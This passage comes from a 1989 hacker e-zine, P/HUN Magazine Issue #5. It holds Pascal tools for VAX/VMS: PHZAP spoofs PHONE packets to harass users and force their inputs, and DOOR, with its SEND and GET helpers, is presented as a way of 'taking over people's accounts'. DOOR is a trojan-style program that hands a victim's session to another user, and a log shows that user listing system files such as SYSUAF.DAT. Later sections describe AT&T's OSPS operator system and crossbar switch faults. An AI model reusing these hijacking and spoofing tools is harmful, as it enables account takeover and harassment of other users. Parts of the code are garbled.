OPEN(FILE_VARIABLE:=PHZAP ,FILE_NAME:=SEND_FILE ,HISTORY:=OLD ,DEFAULT:='[]'); { Replace this with the default dir } { you will be most often using...} mailbox_device_name.length := length; $assign( mailbox_device_name, mailbox_channel ); { Assign channel } reset(phZAP); repeat readln(phZAP,command); $qio( , mailbox_channel, io$_writevblk + io$m_noformat + io$m_now, ,,, command.body, command.length, ); { Send command. } until eof(phZAP) end; END; end. ------------------------------------------------------------------------------ PHZAP.CLD follows: MODULE PHZAP_COMMAND Define Verb Zap Image "[{directory}]PHZAP.EXE" ; ^^ Convert this to the directory the program will be in ; and then delete these three lines. ; Qualifier Type,Value Parameter P1,Label=User,Value(Required),Prompt="Username" Qualifier Message,Value ----------------------------------------------------------------------------- The format for a simple file is NODE::USERNAME You can force a message to a person's screen by one of two methods, the first is using the above format and writing your message in the section of the packet using . This requires writing it character by character. The other option is to send the KBD_ROUTE command along with the message in normal text (with a at the end of course.) The CMD_PARSE command allows you to force a command on the user, through their PHONE program. It only works for commands within PHONE, however, so you cannot make them log out or such, only kick them out of phone. The ANSWERED flag is useful in writing an answering machine, in that you send NODE:: and the calling PHONE program will pop up the second screen as if the person had answered. BUSY is also a nice one to be able to send (as well as rejected!) If you send a NODE:: ONLY THE USER YOU HIT with PHZAP will see that user as hung-up! The other user (who supposedly hung up) will still see the other user listed on their screen! (Nothing typed will reach them of course, but it is an interesting mindfuck!) The is (if I remember correctly) the proper method for FAXing something over the VAX PHONE. The NODE:: command puts the user you hit on HOLD in that user's eyes, but not to the "holding user." Sending a NODE::NODE:: will pretend to create a link between the user you are ZAPping and user #2. Both users **MUST** be logged in, but not necessarily in PHONE! Thus you can force a link between a user and just to freak them out! An example of this is given below. The codes I haven't discussed are either too weird/complex to handle easily, or I just don't know how to use them. (or have never bothered.) kbd_get = chr (1); kbd_route = chr (2); cmd_parse = chr (3); talk = chr (4); help2 = chr (5); ring_out = chr (6); slave_verify = chr (7); rang_in = chr (8); hangup = chr (9); busy = chr (10); answered = chr (11); rejected = chr (12); slave_done = chr (13); listen = chr (14); directory2 = chr (15); facsimile2 = chr (16); forced_link = chr (17); held = chr (18); unheld = chr (19); ---------------------------------------------------------------------------- Some sample .PHN files follow... is used to refer to ... FOFF.PHN <04>Lemme ALONE dammit!!<00> This drops a message in the users OWN message area as if he had typed it to send to somebody. They don't even have to be connected to somebody for you to do this. It's most useful when someone is calling you and you want to tell them to call back later. FYOU.PHN <14>HEAVEN::GOD<00>F <14>HEAVEN::GOD<00>u <14>HEAVEN::GOD<00>c <14>HEAVEN::GOD<00>k <14>HEAVEN::GOD<00> <14>HEAVEN::GOD<00>Y <14>HEAVEN::GOD<00>o <14>HEAVEN::GOD<00>u <14>HEAVEN::GOD<00>! This sends a message to a user in the standard way, as if someone had typed it. This is also the method that is in the mailboxes used by PHONE, so if you want to write an answering machine, you have to parse that pattern. ACCVIO.PHN <15>HEAVEN::GOD<00> That causes Acess Violation errors to flow down the users screen. Don't ask me why; I don't know. Does it under V4.6 of VMS, others I'm not sure. LINKUP.PHN <16>HEAVEN::DEVIL<00>HEAVEN::GOD<00> After send that to a user's mailbox, their screen should flash with the "DEVIL has created a conference call with GOD" message. Both users MUST exist and be logged on currently. If you want to add yourself into a conversation go into phone, have someone "link" you with their conversation and then have someone link them with you... It must be done to both. Of course you could always use this... ANSWER.PHN <03>ANSWER<0> That will force an ANSWER command from the keyboard into the COMMAND buffer. If you have a friend do that to them, as you are phoning them, then they will be connected without the chance of them rejecting! I think that's enough examples for you to be able to figure out the format for the rest yourself. If you have questions about this, or any other program you have seen my name on, or you have VAX specific questions, I am available on The Toll Center BBS @ (718) 358-9209 and the Rogue's Gallery BBS @ (516) 361-9846. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Baliord's VMS Tricks Vol 2: DOOR -------------------------------- By Baliord Phile #7 of P/HUN Magazine Issue #5 The following program was designed to be an example of the use of VAX/VMS Mailboxes for multi-process control. Any use of the program is the responsibility of the person compiling and/or running the program. In this file, we look at the use of VMS's Mailbox facilities. The VMS Mailbox was designed as a way of assisting interprocess communication for non-priviledged users. An example of a program that uses the MBX facility is PHONE. PHONE uses the mailboxes, along with system-wide logical names, to allow users to send information packets back and forth. In the last file I discussed how to take advantage of PHONE's "open" logical names for confusing users. In this installation, you will see how MBX's are VERY useful in taking over people's accounts. This program is called DOOR (a name given it by CW, a very helpful friend who doesn't have a handle), and it allows the "default_control" user to control the account of any person who runs this program. The code does the following: 1) The control_user string is set to the user who will recieve the MAIL that this user is now "accessible." 2) The MBX's necessary are created, using the INDOOR and OUTDOOR logical names as storage area for the MBAxxx: strings. (If the person already has INDOOR and OUTDOOR defined in their main process, then the program will NOT work.) 3) The program waits 1 second, to assure that the MBX's have time to become registered with the system. 4) INDOOR and OUTDOOR are converted back from logical names to the actual device names so the control_user can be told what they are. 5) The process is spawned off with the first command being to tell the control_user what the MBX numbers are. 6) The program then ends. (At this position, an interesting thing to put might be a chain to whatever program name you call it with the version number as -1. I.E. DOOR.EXE;-1 would be the program you chain to. Then the program would, in effect, create the process, then execute a real program.) The control_user must then read their mail and create two MBX's that correspond to the information given in the mail. I.E. OUTDOOR=_MBA211: INDOOR=_MBA212: would be ASSIGNED at the DCL level as ASSIGN MBA211: OUTDOOR and ASSIGN MBA212: INDOOR This must be done before the next two programs can be run. The next two programs are, in order, the SEND program and the program to GET the information. The SEND program assumes that you have entered a SEND:==$[directory]SEND.EXE command. It takes whatever you typed after the SEND command and sends it through to the INDOOR mailbox. The directory in the definition above is the directory you are keeping the SEND program in. The GET program is the next program, and can be run directly. Or you can create a GET:==$[directory]GET.EXE command. The process for operation is illustrated here. $ mail You have 1 new message. MAIL> #1 23-JUL-1989 02:08:03 NEWMAIL From: HEAVEN::DEVIL "Heaven doesn't wan't me, so I took over Hell." To: GOD Subj: OUTDOOR=_MBA230: INDOOR=_MBA231: MAIL> Exit $ assign MBA230: outdoor $ assign MBA231: indoor $ send dir *.com $ get Directory DRC0:[HELL.DEVIL] LOGIN.COM;1 Total of 1 file. $ send mail comp.com god $ New mail on node HEAVEN from DEVIL "Heaven doesn't want me, so I took over Hell." $ get $ send dir sys$system:*.dat $ get Directory SYS$SYSROOT:[SYSEXE] DNAMES.DAT;1 MODPARAMS.DAT;1 NETCIRC.DAT;1 NETCONF.DAT;1 NETLINE.DAT;1 NETLOGING.DAT;1 NETNODE.DAT;1 NETNODE_LOCAL.DAT;1 NETNODE_REMOTE.DAT;1 NETOBJECT.DAT;1 OLDSITE1.DAT;4 OLDSITE2.DAT;5 OLDSITE3.DAT;5 OLDSITE4.DAT;5 PARAMS.DAT;5 SDAT.DAT;1 SETPARAMS.DAT;5 SPSSERR.DAT;4 SPSSINFO.DAT;4 SPSSUDF9.DAT;1 USAGE.DAT;1 Total of 21 files. Directory SYS$COMMON:[SYSEXE] FAKE.DAT;1 JBCSYSQUE.DAT;1 MODPARAMS.DAT;1 RIGHTSLIST.DAT;1 SYSUAF.DAT;1 VMSMAIL.DAT;1 VMSPARAMS.DAT;1 Total of 7 files. Grand total of 2 directories, 28 files. $ send stop/id=0 $ sho sys/subproc $ I think that's enough examples for you to be able to figure out what else to do yourself. DOOR.PAS follows: { DOOR Copyright (c) 1989 by Baliord and CW This program creates a subprocess with input and output being directed to Mailboxes. It is originally intended for use only as a demonstration of the power of mailboxes. The authors take no responsibility for the mischevious or dangerous use of this program. It is only designed as an example of what CAN be done, and is not expected to be actually used. } [ INHERIT( 'SYS$LIBRARY:STARLET' ) ] program door( input, output ); const max = 132; default_control = 'GOD'; { default user that gets mail message } inbox = 'INDOOR'; { Logical name (must be capital). } outbox = 'OUTDOOR'; { Logical name (must be capital). } type word_type = [ word ]0..65535; string = VarYING [ MAX ] of char; Var subject, user, mail_command, control_user, outdev, indev : string; inchannel, outchannel : word_type; { mailbox channels } a, length : integer; [ asynchronous ] function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char; %ref name_length : integer := %immed 0; %descr equivalence : varying[ l2 ] of char; %ref table : integer := %immed 0 ) : integer; external; [ asynchronous ] function lib$spawn( %descr command : varying[ l1 ] of char := %immed 0; %descr inp : varying[ l2 ] of char := %immed 0; out : varying[ l3 ] of char := %immed 0; %ref flags : integer := %immed 0; %descr process_name : varying[ l4 ] of char := %immed 0; %ref pid, status, efn : integer := %immed 0; [ unbound, asynchronous ] procedure ast( %immed p1 : [ unsafe ]integer ) := %immed 0; ast_parameter : [ unsafe ]integer := %immed 0; prompt : varying [l5] of char := %immed 0; cli : varying [l6] of char := %immed 0 ) : integer; external; procedure sleep(t : real); (* program will sleep 't' *) var (* seconds. *) t1 : real; begin t1:=clock/1000; t:=t1+t; while t1ss$_normal then writeln( 'Mailbox ', mailbox_name, ' does not exist.' ) else begin mailbox_device_name.length := length; $assign( mailbox_device_name, mailbox_channel ); { Assign channel } lib$get_foreign( command ); { Get command } $qio( , mailbox_channel, io$_writevblk + io$m_noformat + io$m_now, ,,, command.body, command.length, ); { Send command. } end; end. ----------------------------------------------------------------------------- GET.PAS follows: { GET Copyright (c) 1989 by Baliord This program was designed to read the output from a MBX. In particular it is made to work with the DOOR program. The use of this program is not the responsibility of the authors of the program, as that it is designed as an example of what CAN be done. It is not intended to be actually used. } [ INHERIT( 'SYS$LIBRARY:STARLET' ) ] program read_slave( input,output ); const mailbox_name = 'INDOOR'; { Logical name (must be capital). } max = 132; type word_type = [ word ]0..65535; string_type = VARYING[ MAX ] OF CHAR; var iosb : array [1..2] of integer; mailbox_channel : word_type; ret,command, mailbox_device_name : string_type; length : integer; [ asynchronous ] function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char; %ref name_length : integer := %immed 0; %descr equivalence : varying[ l2 ] of char; %ref table : integer := %immed 0 ) : integer; external; begin if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then writeln( 'Mailbox ', mailbox_name, ' does not exist.' ) else begin $assign( mailbox_device_name, mailbox_channel ); { Assign channel } repeat command.body:=''; mailbox_device_name.length := length; $qio(,mailbox_channel,io$_readvblk+io$m_now,iosb,,,command.body,80); command.length:=80; if iosb[1]<>ss$_endoffile then writeln(command); until iosb[1]=ss$_endoffile; end; end. This file was produced specifically for the uses of P/HUN magazine and its editor. Any publication outside of that magazine, or distribution seperate from that magazine without the express written approval of the author of this document OR THE EDITOR OF P/HUN MAGAZINE is in violation of the author's wishes. The only exception to this is that you are free to load these files onto systems for compilation. However, if you are going to use them, you MUST leave the comments intact. When referring to this program, give credit where credit is due. ALWAYS leave the disclaimers intact. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= A New Operator Service ---------------------- Feature For The 5SS Switch : ---------------------------- OPERATOR SERVICES POSITION SYSTEM --------------------------------- Phile #8 of P/HUN Magazine Issue #5 By Bandito A new operator services system for the 5ESS switch gives phone companies and worldwide phone service administrators unparalleled flexibility in deploying operators. The system is called the Operator Services Position System (OSPS), and it's operation is based on the Intergrated Services Digital Network (ISDN) capabilities of the 5ESS switch. These capabilities permit simultaneous data and voice communications between the switch and the operator's terminal equipment. OSPS allows the phone service providers to provide full-featured North American and international operator service with operators located a distance from the switching system. AT&T has added a new feature--the Operator Services Position System--to its 5ESS switch. A major difference between OSPS and the previous operator system--the Traffic Service Position System (TSPS)--is OSPS's ability to provide several applications simultaneously on one switching system. One Switch with OSPS can serve up to 128 teams of operators handling different applications, such as directory, toll, and operator assistance. The OSPS can be deployed as a stand-alone system or integrated with a local, toll or gateway 5ESS switch. For directory assistance, a basic services terminal and a Directory Assistance System/Computer provide the directory listing. A video display terminal helps with charging and completing toll and assistance calls. In some applications, the OSPS supplies data from external computer systems at the operator terminal. The OSPS can also offer fully automated services such as Automated Calling Card or Automated Coin Services. It does this by linking to network data bases to validate credit or calling card numbers, and to determine the charging rates. For international applications, OSPS provides the international features used in local, transit, and gateway applications, For these applications, the system makes available services such as call booking(thats when you say that you want to make a call to Russia and the operator say "I'll call you in 5 hours so you can place the call, ok?"), and it can handle various types of international trunking and signaling. DESIGN OBJECTIVES Besides providing state-of-the-art operator services, OSPS also improves a phone company's financial results by reducing operator, administrative, and maintenance costs, improving network design efficiency, and creating new revenue opportunities. Operator Expense Reducing the average amount of time operators take to handle a call can cut expenses by millions of dollars. A major effort, therefore, was devoted to achieving this. Attention to human-machine interfaces led to operator positions that reduce the motions and concentration needed for each function. For toll and assistance, for example, the video display terminal improves the position of information on the monitor screen and the grouping of action keys. The display terminal also has single keys that are set up to perform complete functions. This results in faster action and reduces operator stress.(I hope this will help them get a better atitude) To speed things up, the OSPS automates operator tasks associated with call handling. Paper records and information bulletins are eliminate by computerized ticketing and an automated multileaf bulletin. Since a significant portion of operator work time is normally spent in determining if a line is busy and waiting for answer, this portion of the call can be automated. Future releases of the system will allow operators to handle other calls during these periods. Administrative and Maintenance Expense Since OSPS is a feature of the 5ESS switch, administrative and maintenance expense is reduced by making common use of the base 5ESS switch capabilities and by using a common maintenance force. The operator service center, where the operators are, may be located away from the host 5ESS switch. Additional equipment, therefore, is provided to support administrative printers and terminals, and the management of the operators. Such support comes from the OSPS administrative processor (OAP), an AT&T 3B2 computer. Expense is minimized by allowing one administrative processor to support as many operator services centers as the phone company desires; not too many of these are need. Only one OAP is needed for every switch. Most commercial automatic call distributor applications use some type of manegement information system (MIS) to provide similar administrative control and reporting as does the OAP ofr OSPS. Overall, administrative expense is reduced by allowing several teams of operators and several types of calls to be administered together. Network Design Efficiency The 5ESS switch with remote integrated services line units allow operator service centers to be hundreds of miles from the host switch. OSPS can be added to a 5ESS switch dedicated to operator services with any combinationn of different applications, or integrated into a network switch serving other gateway, toll, tandem, or local traffic. If initial operator needs are small, a single switch could serve just a few operator positions. (Because of the modular design of the switch, the number of operator on one switch could grow one by one until they got over 100. There could be as many as 128 teams of operators handling a total of nearly 100,000 calls an hour. One OSPS can handle call processing and a second OSPS can handle operator assistance. This can be a permanent arrangement to minimize new operator trunks and/or the number of sites staffed with operators. It is also possible to reconfigure operator teams. Entire OSPS systems or selected teams can be closed down during periods of low traffic. Calls are then directed to other teams or another OSPS in the network. Because of these capabilities, the network can be redesigned continuously to meet changing needs. More Service Opportunities The OSPS is based on ISDN capabilities and open interfaces that support customization, customer independence, and flexiblilty. ISDN supplies packet-switched access to data bases, as well as interfaces to operator terminals and support systems. The open interfaces make it easy to add new services and to support multiple interchange and local exchange carriers. Data can be sent to the operator terminal from computer systems external to the switch, allowing an operator to talk with a caller while receiving data from a remote data base. Both the data base information and the telephone information can be displayed using the windowing capabilities of OSPS video display terminals. SYSTEM ARCHITECTURE The OSPS was designed and built on the existing ISDN architecture of the 5ESS switch. The switch consists of three major hardware modules, handling administration, communications, and switching. There are two types of switching modules, one for normal voice calls, and another, an ISDN module, for voice and data. The ISDN switching module is the interface between operators and the switch. The administrative module provides system administration functions,and supports automatic calll distribution to operators for each OSPS application. Hardware and software are added to the basic switch to perform automated and manual operator functions. Different types of operator terminals are furnished for different OSPS applications. An OSPS administrative processor is available to support each particular application. The terminals allow operator to receive and control calls, and to send and receive data through the switch. Functionally, these are ISDN terminals with simultaneous voice and data communications capability. The terminals are connected by digital subscriber lines to the switch's integrated services line unit (ISLU) or to a remote ISLU (RISLU) when the operator services center is a distance from the host switch. The ISLU or RISLU acts as an operator position controller. Operator terminals may be located several miles from the position controller, with the exact distance dependent on the application and type of interface. Where the RISLU and multiplexed onto digital facilities that connect to the host 5ESS switch. Systems Interfaces and External Data Bases For directory assistance, the 5ESS switch communicates with a vendorsupplied Directory Assistance System Computer (DAS/C). In response to customer requests, the operator consults the system for directory listings. Like the basic services terminal with which it works, the DAS/C can be connected to a RISLU and share the remoting capabilities with the basic services terminal or it can be connected directly to the ISLU. The OSPS administrative proccessor is used for directory assistance as well as toll and assistance operation. This processor is located in the operator services center and/or force management center. It is used with administrative terminals and printers to support administration and managemnet personnel by providing traffic, performance, and operator team data when requested. The OSPS connects to other vendor or phone company data bases as well as to other 5ESS switches. The connections to other switches make available remote capability for complete call handling. The phone company may choose to use these connections as paths between switches to provide call processing at the originating switch and operator services at another switch. The switch's common channel signalinng interface accesses a number of external data bases. Network signaling interfaces unique to the international application are available to provide new features. These interfaces vary from country to country. SYSTEM OPERATION The heart of the OSPS is a full-featured, flexibly administered automatic call distributor (ACD). A call coming into an OSPS is selected for a particular operator team based on its incoming trunk and the dialed digits. The originating switching module determines the call type and gives the ACD the information needed to select the proper operator team. If operators are available, the call is routed to one on the team who has been sitting one her ass the longest. If an operator isn't available in that serving team, the ACD holds that call and the customer is sent a response (a ring, announcement, silence, music, etc.). When an operator becomes available, the customer that has been on hold the longest is routed to the operator who hasnt had a call the longest. For directory assistance, the operator asks for number-identifying information and then taps into the database. The number is given to the customer by a recorded announcement or the operator. For toll and assistance requests, the operator asks for charging information and the system handles charge recording and the call completion. Alternate billing is verified and coins collected where appropriate. Domestic and international system function similarly, but with different country specific features. The OSPS automated features include Automated Calling Card and Automated Coin Toll Services. The automatic charge recording feature for certain calls includes automated announcements, coin-tone detection, and multifrequency tone (from touchtone sets,DTMF) detection. The system can tell if collect calls or third-party calls are being charged to a uncollectable number(like payphones, non-working numbers, phones with unpaid bills,etc) and informs the operator on this. OPERATOR TERMINALS There are three types of operator/agent terminals to match applications and customer needs. All are designed to increase operator comfort and performance, reduce training time, and improve flexibility and control. Video Display Terminal The video display terminal (VDT) is for toll and assistance applications. The VDT's digital voice capability achieves silence between calls and clear voice transmission. The voice features include automatic volume control, toll-quality voice path, multiple alerting tone capabilities, and voice-path fraud prevention. Operators and office administrators have the option of using mute and split capabilities, which isolate the parties' voice paths at appropriate times during a call to eliminate talk-over. (Talk-over is a brief message between the caller and the called person while they shouldnt be talking. For example, if collect charges will be accepted be the called party. No more of the "hey dude!! call me back I'm out of codes!!!) The VDT's keyboard looks pretty good. Has 117 keys, this includes a little dialing pad, to the left of the keyboard where the IBM function keys usually are, are keys like hold, 'MUTE', 'SPLIT ON', 'VOL UP', and 'VOL DOWN'. Also I can make out some keys like 'Cancel Call' and 'Make busy'. The keyboard is lightweight and detachable, this lets the operators position it easily to a comfortable position. The keyboard has tactile feedback, keys are logical grouped, and the most frequently used ones are larger than the rest. Customers can program macro-keys that will initiate a sequence of key strokes with only one key. These are located near the top of the keyboard and have no writing on them. The VDT conveys call-status information and enables operators to follow the progression of calls. The terminal has a large, high-resolution display to increase readability, a glare-free, positive video screen (dark characters on light background), and a type font that is easy to read. A screen refresh rate, well above current norms, prevents flicker. In addition, several controller capabilities further clarify call information (multiple character sets, reverse video, underlining), and are used in a consistent manner to draw the operator's attention to particular types fo call-handling information. To minimize movement of the operator's eyes and head, the most critical information about a call is displayed at the bottom of the screen. The display shown during a calll relays only the information needed to handle that call. To a avoid distraction, information may be held by the system and not displayed. Fields can be edited locally to reduce time required to correct operator keying errors. Now im going to make a pretty pitiful attempt at showing you the screen how it appears in a picture I have of it. _____ ____ ______ ____ _____ _______ ___|SCRN|____|I&C|_____|RATE|__________________|PG1|__|PG2|____|LOGIN| AT&T___ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |______________________________________________|______________________________| | |S T A T I O N C O L L E C T | | | | | | | | 3 ___~~ 2 ___:) 1 ___~` |Fwd # :614-555-6534 | | | | | | | | :)| | | | | | | | | | | | |___~` |___~` |___~` |Bk # :312-555-2679 | | 0 + NON - COIN | | | | | |______________________________________________|______________________________| | QUIT | | GET | | V 3 | |RATE| | | | | |AUTO | |HOTEL| | RATE | | RATE | | | |TIME| | | | | |COLLECT| |RM # 3 The ":)" are faces. Yes they see faces on the screen and ~~ is a picture of a phone. And ~` is a picture of a phone off the hook. Didn't I tell you the picture of the operators terminal was going to be pitiful? Intelligent Communication Workstation The intelligent communication workstation is for the international market. It has all the functions of the VDT but uses a personal computer with a color display. This adds flexibility to meet the requirements of different countries and includes software to assist operators in handling otherf languages. A chinese version of the system, for example, allows the operator to enter names using Chinese characters for entry into billing records. Future releases will make this a combined services terminal which can be used for both toll and assistance and directory assistance. Basic-Services Terminal The basic services terminal (BST) is for directory assistance. It has a 20-character display rather than a cathode-ray tube display. Dedicated function keys allow easy access to conference, transfer, and emergency functions. The BST has the same voice features as the VDT. The display, keyvoard arrangement, and call-handling keying sequences minimize operator call-handling. APPLICATIONS The OSPS offers services and features for North American and international directory assistance, and toll and assistance. Capacity depends on the application and the features required. System capacities for North American applications are shown in the panel below: Service Current Next System Release Directory Assistance Calls/hour 90,000 160,000 Operator positions 512 1000 ---------------------------------------------------------------- Toll and Assistance Calls/hour 68,000 100,000 Operator positions 512 700 ---------------------------------------------------------------- For these applications, call handling capacity is now 68,000 calls an hour for toll and assistance and 90,000 calls an hour for difectory assistance. While these high capacities stem from the distributed architecture fo the 5ESS switch, its modular design allow the OSPS to grow incrementally depending on customer needs. Continuing architectural and design and hardware improvements will lead to even higher capacities. The next system relase, for example, will increase toll and assistance to 100,000 calls an hour and directory assistance to 160,000 calls an hour. Directory Assistance With directory assistance a caller gives a name and address and an operator or the system responds with a phone number. With vendor computer systems, OSPS uses an internal audio response unit to "speak" the number to the caller. Future releases will permit adding or changing announcements by interfacing with external audio response units. Future releases also will enable the operator to connect the person requesting the number and apply billing in response to the caller's requests. This provides a telephone company with signigicant new revenue opportunities. OSPS directory assistance allows conferences between operators and hand=off of the call to another operator. Incoming directory assistance calls can be rerouted to operators on a second OSPS. Toll and Assistance These operator services help callers complete toll calls, bill the call to calling cards or to a third party, bill the call person-to-person, and give general help. OSPS uses ISDN to furnish some of these services. For example, the system gives operators access to customer-supplied database computers. These computers may contain frequently referenced data such as emergency numbers or rate and route information. Operators are looged onto the database automatically and single key actions transfer data from the data base screen to the call handling screen. International Applications Features start with a subset of the ACD, derectory assistance and basic toll and assistance operator call handling features as in the North American version. Specific international needs are addes such as real-time billing information, completed call retrieval, call booking, and a visible instruction table. Real-time billing information for international calls includes validation of credit-card numbers or billing number, computing charges in real time and storing them in completed call records. The billing information can be supplied to the customer by a synthesized announcement of time and charges or direct operator quotation. Completed call retrieval aallows the operator to retrieve the record of a completed call, including call charges in response to customer inquiry. It also allows the operator to give correct billing in the case of a call being cut off and reconnected. Call booking is for customers wanting calls placed at a particular time and to allow operators to store calls for later completion during less congested periods. Data for these calls is stored in the OSPS and may be distributed to operators for setup as soon as possible or at a designated time. Operators also may request retrieval of previously booked calls. The operator uses a visible instruction table to obtain special dialing instructions or otherf call-handling material. The text is stored in the 5ESS switch as a series of pages, and is displayed in a window area on the VDT screen. Additional features include customer and operator fraud protection, enhanced charge and duration advice and language assistance, depending on the needs of the particular country. OSPS also supports the major international signaling systems. NEXT GENERATION The OSPS represents a new generation in operator services based on ISDN. The system can be configured to serve any operator application requiring access to data bases and automated call distribution to operators. Since it is a application on the 5ESS switch, it allows operator services to be provided at local, tandem, or toll switching centers. The design enables operators to be hundreds of miles from the switch. Features reduce a phone company's costs in the areas of operator expense, administration and maaintenance, and network design. The OSPS includes many operator services not previously available and permits a wide mix of applications on a single switch. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ()--------------------------------() | | | The Cross Bar Switching Guide | | [Xbar #5] | |=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | By Xbar Switchman | | Courtesy of New York Telephone | | Operating Staff - Plant | ()--------------------------------() Phile #9 of P/HUN Magazine Issue #5 Special thanks to Lord Micro and Seeker who were the people behind the bins. Introduction: ------------- This guide was developed by the Plant Training Center, to provide a ready reference of information that can be used by The Central Office Switchman during the performance of his daily work. Preface: -------- In this part Class "A" reports are only covered. Future issues will have MTF Tests/Class C/Alarms/Trouble Recorder etc. Section #1 - Class "A" Reports ------------------------------ CLASS "A" Reports ----------------- Class "A" troubles are those reported by subcribers. Prompt and complete handling is very important. Propmtness because the subcribers service may be affected and completeness so that the customers service is not impaired a second time for the same reason. If the line is held out of service by euipment note the x-points closed and release the line hold magnet to allow the subcribers service. If necessary a channel plug may be inserted in the junctor switch portion of the linkage in order to release the subcriber's line sooner. The remaining linkage will be help up. So therefore what is done in such problems is to actually trace this held path and analyze to determine why it was held up. To keep Class "A" report to a minimum switchman analyze all trouble recorder cards as soon as they come in and mark each card for missing or false punches and compare with previous cards. In this way repeaters can be spotted quickly and acted upon. Usually switchman activate the continuity and ground test circuit of the markers at regular intervals in order to pick up linkage tip and ring troubles. Using this approach, along with regular testing procedures should keep common euipment troubles to a minimum. Here is a list of Class "A" trouble reports: NDT - No Dial Tone CC - Cant call DCLR - Double Connection-Lift Receiver PS - Permanent Signal COO - Cutoff Outgoing DCO - Double Connection Outgoing CBDT - Cant Break Dial Tone DTWD - Dial Tone While Dialing DCWD - Double Connection While Dialing NAR - No Audible Ring GWN or INTC - Gets Wrong Number of Intercept ATB - All Trunks Busy DA - Dont Answer GB-FB - Gets Busy-False Busy CH - Cant Hear CBH Cant Be Heard NSY - Noisy DTRWT - Dial Tone Returns While Talking XT - Cross Talk COL Clicks On Line BDR - Cell Doesn't Ring DGC - Dont Get Calls RI - Reaches Intercept FRI Fails to Reach Intercept CIE - Called in Error FB - False Busy BRCM - Bell Rings - Cant Meet DCI - Double Connection Incoming CT - Cant Trip Ringing COI - Cut OFf Incoming FDA - False Dont Answer Here are the explanations of Class "A" troubles occurances: NDT --- 1) Open between HMDF and L.Lk. Frame. 2) Open L relay; Loose connection on L relay; open T or R connections on L.Lk. Frame; Open hold magnet. 3) Paritially Energized L relay or Hold Magnet. 4) Hold magnet help operated. 5) Dirty contacts or no follow on line hold off normal contacts. 6) Line switch and junction switch cross points . 7) If heavy reports from one frame check LLMC. 8) Review trouble cards for DT Marker Trouble. 9) Routine Originating Registers for dial tone. DCLR ---- 1) Check for bent select fingers on L.SW & all J.SW's. 2) Check for false operation of 2 or more line hold magnets on Incoming and Outgoing calls. 3) Review trouble cards for DT markers - especially "X" indicators 4) Review trouble cards on DT markers for LXP or JXP indicators. PS -- 1) Shorted T & R. 2) False ground on ring side. 3) If Linkage fails to release-trace and check for linkage or PSHT trouble. COO --- 1) Loose Connection on T, R or S lead. 2) Poor make of L.Lk Cross Points. 3) Poor make of hold magnets off normals 4) Review Completing Marker Trouble cards for LXP type trouble o outgoig calls. 5) If heavy reports from 1 line link frame check LLC. 6) Possible Pretranslator or PRTC Trouble DCO --- 1) Inspect for cross T & R. 2) Inspect for bent select fingers or 2 selectes operated. 3) Inspect for 2XPTS Closed on same horizontal. 4) Check Comp. MArker Touble Cards (for "X" indications) 5) Check Comp. Marker Trouble Cards (for LXP; JXP indications) 6) Possible doulbe wiring on trunks apperance on TLK frame. 7) False SL inidications. CBDT ---- 1) Possible hihg resistance on subcribers line. 2) Routing Originating registers (DT Test). DTWD ---- 1) Loose sleeve connection. 2) LLK XPTS poor sleeve conection. 3) False release of O.R 4) Pretranslator. DCWD ---- 1) Crossed T or R. 2) False selected bar operation. 3) Bent select finger. NAR --- 1) Trunk pre-trip. 2) Stuck sender or register. 3) subcriber class of service wiring. 4) Out sender link X-Points. 5) Wrong TB-TG wiring of Outgoing Trunk. 6) Wrong RN trunk X connection. 7) Wrong trunk options. 8) Trasverter-Transverter Connector. 9) Recorder. At terminating end: 1) Ringing selection switch. 2) Incoming Trunk Wiring. 3) Linkage. GWN or INTC ------------ 1) Loose tip and/ or ring. 2) Unbalanced subcriber line. 3) Marker Wiring and Number group wiring. 4) Originating register or outgoing sender trouble. 5) Wrong TB-TG-RN Trunk or TLK frame. 6) FAT frame wiring DA -- 1) Incoming register trouble. 2) Ringing selection switch trouble. 3) Wrong NG Wiring. 4) Incoming trunk R Relay adjustment. 5) Open T or R from Incoming trunk to called subscriber. 6) Outgoing trunk supervision trouble. GB-FB ----- 1) Might be overflow instead of busy. 2) Outgoing trunk trouble. 3) Wiring number group wiring. 4) Ringing selection switch trouble. 5) Incoming Trunk wiring 6) Troulbe release by Marker. CH -- 1) Subcriber's line has high resistance. 2) Swinging or poor wiring connections-tip or ring. 3) Dirty X points (tip or ring). 4) Outgoing trunk-poor transmission. CBH --- 1) Subscriber's line has high resistance. 2) Swinging or poor wiring connections tip or ring. 3) Dirty X points (tip or ring). 4) Poor transmissions on trunks. NSY --- 1) Loose Connection tip or ring. 2) Dirty pins on 444 jack on VMDF. 3) Tip or Ring resistance cross. 4) Outgoing trunk transmission. 5) Induction on subcriber's line. 6) Dirty contacts in talking linkage. DTRWT ----- 1) False release of outgoing trunk or incoming trunk euipment. 2) Poor connection or dirty contacts of sleeve lead of talking path. XT -- 1) Before dial tone a) Line link double connection. b) Induction on subcriber's line. 2) After dial tone a) Trunk cable induction. COL --- 1) Vibrating relay. 2) Riding selector. 3) Wiring interference. 4) Improper testing. 5) Loose connection in talking path. BDR --- 1) Open T or R from incoming trunk to subcriber's line. 2) Grounded ring in linkage. 3) Defective incoming trunk. 4) Ringing selection switch trouble 5) Incoming register trouble. 6) Wrong NG or ADF wiring. 7) Check trouble cards for CON and FCG failures on incoming calls. DCG, RI, FRI, CIE ----------------- 1) Number group or ADF wiring. 2) Open sleeve in linkage. 3) Incoming register trouble. 4) Incoming trunk options or wiring. FB -- 1) Possible incoming X'd sleeve. 2) Possible LG relay cross. 3) Possible help up on incoming call. 4) Possible help up by operator. * ITEMS 3 and 4 HOLD CONNECTION WITH CHANNEL PLUG AND MAKE TRACE BACK-IF HELD BY OPERATOR GET REASON. BRCM ---- 1) Open Tip or Ring (T or R ) 2) Unbalanced line. 3) Crossed ring sides. 4) Loose or open sleeve-possible 1 ring. 5) Incoming trunk trouble . DCT --- 1) 